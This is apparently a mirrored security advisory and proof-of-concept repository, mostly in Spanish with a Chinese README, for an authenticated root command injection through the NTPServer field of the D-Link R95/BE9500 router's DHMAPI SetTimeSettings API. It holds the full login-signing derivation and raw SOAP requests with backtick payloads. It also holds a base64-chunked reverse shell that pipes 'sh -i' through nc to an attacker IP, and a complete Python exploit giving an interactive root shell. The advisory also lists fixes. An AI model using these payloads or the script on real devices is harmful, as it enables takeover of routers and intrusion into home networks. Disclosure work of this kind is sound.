
PoC de inyección de comandos autenticada para D-Link R95/BE9500 DHMAPI SetTimeSettings, logrando RCE como root mediante inyección de backticks en NTPServer, con script de exploit completo.
El D-Link R95 BE9500 Wi-Fi 7 Smart Router (versión de firmware BE9500_1.00.16) contiene una vulnerabilidad de inyección de comandos en la interfaz DHMAPI (SOAP sobre HTTPS) al procesar solicitudes SetTimeSettings. El campo <NTPServer> controlado por el usuario se almacena en la base de datos de configuración sin ninguna sanitización ni validación de metacaracteres de shell. Posteriormente, cuando la configuración se sincroniza con UCI (ntpclient.@ntpserver[0].hostname), el servicio backend vulnerable construye y ejecuta un comando de shell encerrado entre comillas dobles mediante una llamada tipo system(). Al inyectar backticks (```) en el valor de <NTPServer>, un atacante puede lograr sustitución de comandos — el shell evalúa el contenido inyectado antes de ejecutar el comando concatenado, permitiendo la ejecución arbitraria de comandos con privilegios de root (uid=0).
El ataque requiere una sesión válida de gestión web (sid) obtenida mediante acceso autenticado (probado con la cuenta de administrador Admin). Esta vulnerabilidad se ve además amplificada por las credenciales predeterminadas débiles del dispositivo o posibles problemas de omisión de autenticación, lo que expande significativamente la superficie de ataque en el mundo real.
Un atacante autenticado puede ejecutar comandos arbitrarios con privilegios de root, lo que conlleva el compromiso total del dispositivo — incluyendo la lectura de archivos sensibles (p. ej., el texto cifrado /etc/rg_config/admin, el volcado de copias de seguridad completas de la configuración), la instalación de puertas traseras persistentes, el establecimiento de shells inversas y el pivoteo hacia la red interna para ataques de movimiento lateral.
La vulnerabilidad reside en el binario del backend de gestión web /bin/ssi (que se ejecuta como root), el cual implementa la interfaz SOAP DHMAPI.
Origen de la contaminación (taint source) — el manejador de SetTimeSettings (función en el offset 0x6bd84 en ssi, firmware 1.01B06):
<NTPServer> de la solicitud SOAP hacia un búfer de pila, con longitud limitada a 0x3f (63 bytes) — esto es un límite de tamaño de búfer, no una comprobación de seguridad.time.value.NTPServer mediante un setter interno — no se realiza ningún filtrado ni escape de metacaracteres de shell en ningún momento.Destino de la contaminación (taint sink) — sincronización de la configuración con UCI. ssi sincroniza los valores de configuración concatenándolos en cadenas de comandos de shell ejecutadas mediante llamadas tipo system(). Entre las cadenas de formato incrustadas que se encuentran en el binario se incluye:
uci set %s="%s" > /dev/null
Dado que el valor está envuelto en comillas dobles, el shell realiza sustitución de comandos sobre los backticks (`) / $() dentro del valor antes de ejecutar el comando concatenado. Como ssi se ejecuta como root, el comando inyectado se ejecuta con privilegios de root.
La evidencia temporal confirma que la evaluación ocurre de forma síncrona dentro de la ruta de manejo de la solicitud: inyectar `sleep 10` retrasa la respuesta HTTP ~10 segundos. El valor envenenado además persiste en UCI (ntpclient.@ntpserver[0].hostname) y posteriormente es consumido sin comillas por /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), una brecha de endurecimiento secundaria.
Restricciones de explotación (verificadas):
Todas las solicitudes DHMAPI deben incluir:
Cookie: uid=<session cookie> (de la autenticación)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction que coincidan con la acción SOAP, además de User-Agent y Referer (la ausencia de UA/Referer produce HTTP 400/500)ts es una marca de tiempo en milisegundos; el dispositivo no valida la frescura, por lo que un valor fijo es reutilizableDerivación de privkey:
Login / Action=request (firmado con la cadena de clave estática withoutloginkey) devuelve Challenge, Cookie, PublicKey, SaltHashe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (o la contraseña en texto plano cuando SaltHash está ausente)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login con lo anterior devuelve <LoginResult>success</LoginResult>; las solicitudes posteriores usan Cookie: uid=<step-1 Cookie> firmadas con POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
Esperado: <LoginResult>success</LoginResult>.

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close
Cuerpo de respuesta observado:
uid=0(root) gid=0(root)

<NTPServer>`sleep 10`</NTPServer>
La respuesta HTTP se retrasa ~10 segundos; un nombre de servidor NTP benigno responde de inmediato.
El límite de 63 bytes del campo se elude escribiendo un script en fragmentos base64:
SetTimeSettings repetidas, cada una añadiendo un fragmento:
`echo -n <b64-fragment> >> /tmp/x``base64 -d /tmp/x > /tmp/rs.rs`/tmp/rs.rs (nótese los espacios obligatorios alrededor de las tuberías para busybox ash):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f`sh /tmp/rs.rs`Resultado: se recibe un shell root interactivo (~ #, BusyBox ash) en el listener del atacante.
EXP:
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py interactive shell (commands run as root on the device)
# python r95_exp.py "id" run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests
HOST, PORT = "192.168.2.15", 18443 # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000" # timestamp freshness is not validated by the device
OUT = "/www/e" # command output dropped into the web root
s = requests.Session(); s.verify = False
privkey = cookie = None
def auth(key, action):
return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS
def post(action, inner, key=None, ck=None):
body = ('<?xml version="1.0" encoding="utf-8"?>'
'<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
'<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
"Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
"Referer": BASE + "/info/Login.html"}
if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)
def login():
global privkey, cookie
r = post("Login", "<Action>request</Action><Username>%s</Username>"
"<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
if not challenge:
print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
e = PASSWORD
if salthash:
e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
salthash.encode(), 5000, dklen=32)).decode()
privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
"<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
if "success" not in r2.text.lower():
print("[!] login failed:", r2.text[:200]); sys.exit(1)
print("[+] login OK, cookie=%s" % cookie)
def inject(cmd):
"""Execute one shell command via the NTPServer backtick injection (no output channel)"""
if "&" in cmd:
print("[!] command must not contain '&'"); return False
r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
if r.status_code == 401:
print("[*] session expired, re-authenticating..."); login()
r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
return r.status_code == 200
def run(cmd):
"""Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
cmd = cmd.strip()
if not cmd: return
direct = "%s>%s" % (cmd, OUT)
if len(direct) <= 54:
ok = inject(direct)
else:
b64 = base64.b64encode(cmd.encode()).decode()
inject("rm -f /tmp/x")
for i in range(0, len(b64), 40):
if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
print("[!] fragment injection failed"); return
inject("base64 -d /tmp/x>/tmp/x.sh")
ok = inject("sh /tmp/x.sh>%s" % OUT)
if not ok:
print("[!] injection request failed"); return
time.sleep(1)
r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
"Referer": BASE + "/info/Login.html"}, timeout=15)
out = r.text.rstrip("\n")
print(out if out else "(no output)")
if __name__ == "__main__":
login()
if len(sys.argv) > 1:
run(" ".join(sys.argv[1:])); sys.exit(0)
print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
while True:
try: c = input("r95# ")
except (EOFError, KeyboardInterrupt): break
if c.strip() in ("exit", "quit"): break
run(c)

ssi almacena el campo NTPServer (y campos hermanos en el mismo manejador) en la base de datos de configuración sin ninguna sanitización;system() con el valor envuelto en comillas dobles, lo que provoca que el shell evalúe backticks / $() en el valor;ssi se ejecuta como root, por lo que los comandos inyectados se ejecutan con el máximo privilegio.El mismo patrón de código produce al menos 7 puntos adicionales de inyección de comandos autenticados en este firmware (TZLocation, DeviceName, Hostname/Username de DDNS, NickName de cliente, y una inyección de segundo orden mediante SetNetworkSettings), todos verificados con ejecución uid=0(root).
[A-Za-z0-9.-]) a los campos de entrada de tipo nombre de host antes de almacenarlos;system() por la API de libuci (ya enlazada en ssi) o llamadas de la familia exec* sin shell;$HOSTNAME en /bin/start_ntpclient.sh;Este repositorio es un espejo de distribución intermedio del PoC de la vulnerabilidad CVE-2026-93958 (D-Link R95 / BE9500 DHMAPI command injection) (el análisis técnico se encuentra en el informe original upstream D-Link R95 BE9500.md arriba). El contenido proviene del espejo del repositorio público upstream del PoC, y se proporciona únicamente con fines de archivo y distribución. El PoC es solo para investigación de seguridad, verificación de vulnerabilidades y pruebas autorizadas; no lo utilice contra objetivos no autorizados.
SetTimeSettings 请求的 <NTPServer> 字段/bin/ssi核心原理:/bin/ssi 的 SetTimeSettings 处理函数(偏移 0x6bd84)把 <NTPServer> 字段(长度上限 0x3f=63 字节,但无任何 shell 元字符过滤)原样存入配置库;配置同步到 UCI 时,ssi 把值拼进 uci set %s="%s" > /dev/null 这类 shell 字符串并用 system() 执行——值被双引号包裹,shell 会对反引号 / $() 做命令替换,而 ssi 以 root 运行,故注入命令满权限执行。
D-Link R95 BE9500.md —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png —— 上游报告附图(5 张)
requestspython r95_exp.py # 交互式 root shell(命令在设备上以 root 执行)
python r95_exp.py "id" # 执行单条命令
⚠️ 注意:注入字段长度上限约 63 字节,且命令不能含
&;EXP 对 ≤54 字节命令直接注入,更长的命令自动切 base64 分片写入/tmp/x再解码执行,输出写入 Web 根目录/www/e后经 HTTP 取回。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限在设备上执行任意命令,请在可销毁的实验室环境中测试。
LICENSE)。| Restricción | Resultado verificado |
|---|
| Longitud del campo | ≤ 63 bytes aceptados; 60 bytes OK, 80 bytes rechazados (HTTP 400) |
Carácter & | No debe aparecer (rompe la línea de comando concatenada) |
| Sintaxis de inyección | Backticks `cmd` verificados; se espera que $(cmd) funcione igual |
| Contexto de ejecución | uid=0(root) gid=0(root) |
| Canal de salida | Sin eco directo; redirigir a la raíz web (> /www/<file>) y recuperar mediante HTTP GET |
privkey